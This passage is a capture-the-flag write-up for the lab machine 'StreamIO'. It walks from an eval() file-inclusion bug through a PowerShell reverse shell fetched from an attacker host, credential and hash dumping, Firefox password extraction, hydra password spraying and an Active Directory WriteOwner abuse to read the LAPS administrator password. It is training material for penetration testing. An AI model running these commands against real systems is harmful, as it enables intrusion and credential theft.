JCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlcl9pZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHJvd1snaWQnXTsgPz4iPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1wcmltYXJ5IiB2YWx1ZT0iRGVsZXRlIj4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4NCjw/cGhwDQp9ICMgd2hpbGUgZW5kDQo/Pg0KPGJyPjxocj48YnI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IG5hbWU9ImluY2x1ZGUiIGhpZGRlbj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ2luY2x1ZGUnXSkpDQp7DQppZigkX1BPU1RbJ2luY2x1ZGUnXSAhPT0gImluZGV4LnBocCIgKSANCmV2YWwoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydpbmNsdWRlJ10pKTsNCmVsc2UNCmVjaG8oIiAtLS0tIEVSUk9SIC0tLS0gIik7DQp9DQo/Pg==           </div>
        </center>
</body>
</html>

Take the base64 string and save it to a file. Decode it with the following command

base64 -d master.php.b64

In the source code notice the implementation of that ‘include’ POST

<?php
if(isset($_POST['include']))
{
  if($_POST['include'] !== "index.php" )
    eval(file_get_contents($_POST['include']));
  else
    echo(" ---- ERROR ---- ");
}
?>

Everything passed to the ‘include’ param is passed to an eval() function and executed. This can be exploited to run arbitrary commands.

Initial access

Generate a base64 encoded powershell reverse shell.

The following command uses a custom script

pwsh base64_rev_shell_gen.ps1

cmdlet base64_rev_shell_gen.ps1 at command pipeline position 1
Supply values for the following parameters:
ip: <ATTACKER_IP>
<BASE64 OUTPUT, SNIPPED FOR BREVITY>

Copy the base64 shell to a php payload

cat shell.php
system("powershell -EncodedCommand <PUT_BASE64_REVSHELL_HERE>");

Serve the shell.php file with python -m http.server and listen for incoming connections

nc -lvnp 9001
listening on [any] 9001 ...

Trigger the exploit

curl -s -k -X POST \
  --data "include=http://<ATTACKER_IP>/shell.php" \
  "https://streamio.htb/admin/?debug=master.php" \
  -H "Cookie: PHPSESSID=99n2gokebga11oarj0cj5esa2c"

The server will fetch the shell.php file from the attacking machine and pass its contents to the eval() function executing the system() command.

You should get an incoming connection on the listener

nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.131] from (UNKNOWN) [10.129.34.167] 61214
whoami
streamio\yoshihide
PS C:\inetpub\streamio.htb\admin>

Now you have a foothold on the machine as the ‘yoshihide’ user.

Lateral movement

If you list the C:\Users folder you will find two more users on the system:

  • Martin
  • nikk37

Further php source enumeration

With the same trick used earlier read the content of the admin/index.php page

curl -k "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php" -H "Cookie: PHPSESSID=99n2gokebga11oarj0cj5esa2c"

Decode the base64 response as shown earlier.

The discovered source code contains credentials for db access

$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');

You already enumerated the STREAMIO db but you can use the credentials to check the existence of additionals databases.

Db enumeration

Use the discovered credentials to list available databases

PS C:\Users> $conn = New-Object System.Data.SqlClient.SqlConnection("Server=localhost;Database=STREAMIO;User Id=db_admin;Password='B1@hx31234567890';"); $conn.Open(); $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT name FROM sys.databases"; $reader = $cmd.ExecuteReader(); while($reader.Read()) { $reader["name"] }
master
tempdb
model
msdb
STREAMIO
streamio_backup

An additional db was discovered: streamio_backup

List its tables

$conn = New-Object System.Data.SqlClient.SqlConnection("Server=localhost;Database=streamio_backup;User Id=db_admin;Password='B1@hx31234567890';"); $conn.Open(); $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT table_name FROM information_schema.tables"; $reader = $cmd.ExecuteReader(); while($reader.Read()) { $reader["table_name"] }
movies
users

It has the same tables of the other db, check if it has additional users.

PS C:\Users> sqlcmd -S localhost -U db_admin -P 'B1@hx31234567890' -d streamio_backup -Q "SELECT * FROM users" -o C:\windows\temp\users.txt; type C:\windows\temp\users.txt
id          username                                           password
----------- -------------------------------------------------- --------------------------------------------------
          1 nikk37                                             389d14cb8e4e9b94b137deb1caf0612a
          2 yoshihide                                          b779ba15cedfd22a023c4d8bcf5f2332
          3 James                                              c660060492d9edcaa8332d89c99c9239
          4 Theodore                                           925e5408ecb67aea449373d668b7359e
          5 Samantha                                           083ffae904143c4796e464dac33c1f7d
          6 Lauren                                             08344b85b329d7efd611b7a7743e8a09
          7 William                                            d62be0dc82071bccc1322d64ec5b6c51
          8 Sabrina                                            f87d3c0d6c8fd686aacc6627f1f493a5

The table has different users and the password hash of the ‘nikk37’ user is found

Access

Go to CrackStation and crack nikk37’s hash.

The password is get_dem_girls2@yahoo.com

You can use it for remote access

evil-winrm -i <TARGET_IP> -u nikk37 -p "get_dem_girls2@yahoo.com"

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nikk37\Documents>

Privilege escalation

Firefox credentials extraction

Looking at the firefox profiles

Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/22/2022   2:40 AM                bookmarkbackups
d-----        2/22/2022   2:40 AM                browser-extension-data
d-----        2/22/2022   2:41 AM                crashes
d-----        2/22/2022   2:42 AM                datareporting
d-----        2/22/2022   2:40 AM                minidumps
d-----        2/22/2022   2:42 AM                saved-telemetry-pings
d-----        2/22/2022   2:40 AM                security_state
d-----        2/22/2022   2:42 AM                sessionstore-backups
d-----        2/22/2022   2:40 AM                storage
-a----        2/22/2022   2:40 AM             24 addons.json
-a----        2/22/2022   2:42 AM           5189 addonStartup.json.lz4
-a----        2/22/2022   2:42 AM            310 AlternateServices.txt
-a----        2/22/2022   2:41 AM         229376 cert9.db
-a----        2/22/2022   2:40 AM            208 compatibility.ini
-a----        2/22/2022   2:40 AM            939 containers.json
-a----        2/22/2022   2:40 AM         229376 content-prefs.sqlite
-a----        2/22/2022   2:40 AM          98304 cookies.sqlite
-a----        2/22/2022   2:40 AM           1081 extension-preferences.json
-a----        2/22/2022   2:40 AM          43726 extensions.json
-a----        2/22/2022   2:42 AM        5242880 favicons.sqlite
-a----        2/22/2022   2:41 AM         262144 formhistory.sqlite
-a----        2/22/2022   2:40 AM            778 handlers.json
-a----        2/22/2022   2:40 AM         294912 key4.db
-a----        2/22/2022   2:41 AM           1593 logins-backup.json
-a----        2/22/2022   2:41 AM           2081 logins.json
-a----        2/22/2022   2:42 AM              0 parent.lock
-a----        2/22/2022   2:42 AM          98304 permissions.sqlite
-a----        2/22/2022   2:40 AM            506 pkcs11.txt
-a----        2/22/2022   2:42 AM        5242880 places.sqlite
-a----        2/22/2022   2:42 AM           8040 prefs.js
-a----        2/22/2022   2:42 AM            180 search.json.mozlz4
-a----        2/22/2022   2:42 AM            288 sessionCheckpoints.json
-a----        2/22/2022   2:42 AM           1853 sessionstore.jsonlz4
-a----        2/22/2022   2:40 AM             18 shield-preference-experiments.json
-a----        2/22/2022   2:42 AM            611 SiteSecurityServiceState.txt
-a----        2/22/2022   2:42 AM           4096 storage.sqlite
-a----        2/22/2022   2:40 AM             50 times.json
-a----        2/22/2022   2:40 AM          98304 webappsstore.sqlite
-a----        2/22/2022   2:42 AM            141 xulstore.json

Notice the logins.json and key4.db files. These files contain stored credentials and there are tools for the extraction such as firepwd

Clone the project repo

git clone https://github.com/lclevy/firepwd.git
Cloning into 'firepwd'...
remote: Enumerating objects: 111, done.
remote: Counting objects: 100% (31/31), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 111 (delta 15), reused 10 (delta 4), pack-reused 80 (from 1)
Receiving objects: 100% (111/111), 253.10 KiB | 1.90 MiB/s, done.
Resolving deltas: 100% (54/54), done.

Install dependencies

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Fetch the logins.json and key4.db files from the target (you can use the evil-winrm ‘download’ command) and run the tool.

Make sure the files and the tool are in the same folder.

python firepwd.py
[snip]
decrypting login/password pairs
Using 3DES (32-byte key, truncated to 24)
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

The tool was able to extract four credentials.

Password spraying

Create a ‘users.txt’ file with the discovered usernames and a ‘passwords.txt’ file with the discovered passwords.

Test all possible combinations of users and passwords from the lists using smb authentication via hydra

hydra -L users.txt -P passwords.txt "smb2://<TARGET_IP>"
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-24 11:20:54
[WARNING] Workgroup was not specified, using "WORKGROUP"
[DATA] max 16 tasks per 1 server, overall 16 tasks, 578 login tries (l:34/p:17), ~37 tries per task
[DATA] attacking smb2://10.129.35.22:445/
[WARNING] 10.129.35.22 might accept any credential
[445][smb2] host: 10.129.35.22   login: JDgodd   password: JDg0dd1s@d0p3cr3@t0r
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-24 11:21:02

A valid password was discovered: login: JDgodd password: JDg0dd1s@d0p3cr3@t0r

Notice that the password for the JDgodd system user is different from the one in the firefox password dump (https://slack.streamio.htb:b’JDgodd’,b’password@12’). If you had used the credentials as they are presented in the dump, without trying all possible combinations, you would not have discovered any password.

AD group enumeration

Enumerate the ACL of the DC object

The following commands use a custom module

*Evil-WinRM* PS C:\Users\nikk37\Documents> Import-Module .\PSHelpers.psm1
*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-ADObjectAcl -Identity DC

If you want to run standard commands you can run

*Evil-WinRM* PS C:\Users\nikk37\Documents> $dc = Get-ADComputer -Identity DC
*Evil-WinRM* PS C:\Users\nikk37\Documents> $acl = Get-Acl "AD:$($dc.DistinguishedName)"
*Evil-WinRM* PS C:\Users\nikk37\Documents> $acl.Access | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType, InheritanceType

In any case in the output you will find

[snip]
streamIO\CORE STAFF                                                                                                       ReadProperty a0ffa854-9b42-45fa-bd07-4e1a651f2610             All
streamIO\CORE STAFF                                                                                        ReadProperty, ExtendedRight a156e052-fb12-45bc-9a00-056271040d9f             All
[snip]

Turn those GUIDs to readable names

*Evil-WinRM* PS C:\Users\nikk37\Documents> Resolve-AceObjectGuid -ObjectGuid "a0ffa854-9b42-45fa-bd07-4e1a651f2610"
ms-Mcs-AdmPwdExpirationTime
*Evil-WinRM* PS C:\Users\nikk37\Documents> Resolve-AceObjectGuid -ObjectGuid "a156e052-fb12-45bc-9a00-056271040d9f"
ms-Mcs-AdmPwd

If you want to use standard commands this is the function used for the GUID resolution

function Resolve-AceObjectGuid
{
    param(
        [Parameter( Mandatory = $true )]
        [Guid] $ObjectGuid
    )

    $configNC = (Get-ADRootDSE).configurationNamingContext
    $schemaNC = (Get-ADRootDSE).schemaNamingContext

    $right = Get-ADObject -SearchBase "CN=Extended-Rights,$configNC" -Filter "rightsGuid -eq '$ObjectGuid'" -Properties displayName

    if( $right )
    {
        return $right.displayName
    }

    $bytes = $ObjectGuid.ToByteArray()
    $hexFilter = ($bytes | ForEach-Object { "\{0:x2}" -f $_ }) -join ''
    $attr = Get-ADObject -SearchBase $schemaNC -LDAPFilter "(schemaIDGUID=$hexFilter)" -Properties lDAPDisplayName

    if( $attr )
    {
        return $attr.lDAPDisplayName
    }

    return "Unknown GUID: $ObjectGuid"
}

In any case the GUIDs resolve to LAPS attributes:

  • ms-Mcs-AdmPwd → stores plaintext local Administrator password
  • ms-Mcs-AdmPwdExpirationTime → stores password expiration

The CORE STAFF group having ReadProperty over the ms-Mcs-AdmPwd attribute effectively means that members of that group can read the Administrator’s password in clear text.

The CORE STAFF group has no members though

net group "CORE STAFF" /domain
Group name     CORE STAFF
Comment

Members

-------------------------------------------------------------------------------
The command completed successfully.

Is there an accessible user who can add members to that group?

Check the group ACL

Get-ADGroupAcl -Identity "CORE STAFF"

If you want to use standard commands run

$group = Get-ADGroup -Identity "CORE STAFF"
$acl = Get-Acl -Path "AD:\$($group.DistinguishedName)"
$acl.Access | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType, ObjectType, InheritanceType

The output will contain

[snip]
IdentityReference     : streamIO\JDgodd
ActiveDirectoryRights : WriteOwner
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceType       : None
[snip]

JDgodd user having WriteOwner on the group means JDgodd can manipulate the ACL to grant itself write permissions over the ‘members’ attribute of the group and then add itself as a member of the group

Exploitation of the CORE STAFF group permissions via the JDgodd user

Give JDgodd user write permission over the ‘member’ attribute of the CORE STAFF group and add it as a new member of the group.

Grant-ADGroupAttributeWritePermission -Group "CORE STAFF" -User "streamIO\JDgodd" -Password "JDg0dd1s@d0p3cr3@t0r" -Guid "bf9679c0-0de6-11d0-a285-00aa003049e2"
Add-NewADGroupMember -Group "CORE STAFF" -User "streamIO\JDgodd" -Password "JDg0dd1s@d0p3cr3@t0r" -NewMember "JDgodd"

If you want to use standard commands run

$cred = New-Object System.Management.Automation.PSCredential("streamIO\JDgodd", (ConvertTo-SecureString "JDg0dd1s@d0p3cr3@t0r" -AsPlainText -Force))
$groupDN = (Get-ADGroup "CORE STAFF").DistinguishedName
$de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$groupDN", "streamIO\JDgodd", "JDg0dd1s@d0p3cr3@t0r")
$sec = $de.psbase.ObjectSecurity
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule([System.Security.Principal.NTAccount]"streamIO\JDgodd", [System.DirectoryServices.ActiveDirectoryRights]"WriteProperty", [System.Security.AccessControl.AccessControlType]"Allow", [Guid]"bf9679c0-0de6-11d0-a285-00aa003049e2", [System.DirectoryServices.ActiveDirectorySecurityInheritance]"None")
$sec.AddAccessRule($ace)
$de.psbase.CommitChanges()
Add-ADGroupMember -Identity "CORE STAFF" -Members "JDgodd" -Credential $cred

Check again the members of the CORE STAFF group

*Evil-WinRM* PS C:\Users\nikk37\Documents> net group "CORE STAFF" /domain
Group name     CORE STAFF
Comment

Members

-------------------------------------------------------------------------------
JDgodd
The command completed successfully.

JDgodd is now member of the group.

Exploit this membership to read the Administrator’s password via the ms-Mcs-AdmPwd property

*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-ADComputerProperty -User "streamIO\JDgodd" -Password "JDg0dd1s@d0p3cr3@t0r" -Computer "DC" -Property ms-Mcs-AdmPwd
2#mI1ojD0Ij+B@

or, with standard commands

*Evil-WinRM* PS C:\Users\nikk37\Documents> $cred = New-Object System.Management.Automation.PSCredential("streamIO\JDgodd", (ConvertTo-SecureString "JDg0dd1s@d0p3cr3@t0r" -AsPlainText -Force))
*Evil-WinRM* PS C:\Users\nikk37\Documents> $dc = Get-ADComputer -Identity DC -Properties ms-Mcs-AdmPwd -Credential $cred
*Evil-WinRM* PS C:\Users\nikk37\Documents> $dc.'ms-Mcs-AdmPwd'
2#mI1ojD0Ij+B@

The password appears to be 2#mI1ojD0Ij+B@

Try to login via winRM

evil-winrm -i <TARGET_IP> -u Administrator -p "2#mI1ojD0Ij+B@"

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
streamio\administrator

Got admin access.

Lessons learned

One of the most useful rabbit holes of this box was about the granularity of Active Directory permissions.

After discovering that the JDgodd user had WriteOwner over the CORE STAFF group, I assumed JDgodd could directly manipulate group memberships and add new users.

When I tried to add a new member with Add-ADGroupMember I got a “Insufficient access rights” error.

The reason is that WriteOwner allows you to change the owner of an object. Ownership, in Active Directory, allows you to modify the ACL itself, not to read/write the object’s actual data.

The solution was to use the ownership to manipulate the ACL in order to gain the required write permissions to manipulate group membership. Only then it was possible to actually add a new member to the group.

This serves as a reminder that AD privileges are highly atomic and specific: always pay attention to what you can write to.